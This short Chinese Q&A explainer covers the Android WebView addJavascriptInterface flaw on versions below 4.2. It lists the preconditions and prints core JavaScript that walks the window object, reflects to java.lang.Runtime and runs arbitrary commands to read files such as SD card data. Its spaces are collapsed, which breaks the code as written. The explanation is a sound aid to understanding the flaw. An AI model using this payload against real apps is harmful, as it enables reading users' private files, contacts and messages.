什么漏洞?
用addJSI这个方法在4.2之下导致不安全,因为js可能包含恶意代码。
包含恶意代码可以干什么?
可以访问你设备sd卡上任何信息,甚至是联系人信息,短信。不信?可以去问问汤海宏H5不在app帮助下如何拿手机图片。
这个漏洞是怎么出现的?
1、WebView添加了JS对象,并且当前应用具备SD卡读写权限:android.permission.WRITE_EXTERNAL_STORAGE
2、JS可以遍历Window对象,找到含有getClass方法的对象的对象,然后反射得到RUNTIME对象,调用静态方法来执行一些命令,比如访问文件;
3、通过访问文件命令返回的输入流中得到字符串,就可以得到文件名信息,就可以干一些事。
核心JS代码如下:
functionexecute(cmdArgs)
{
for(varobjinwindow) {
if("getClass"inwindow[obj]) {
alert(obj);
returnwindow[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}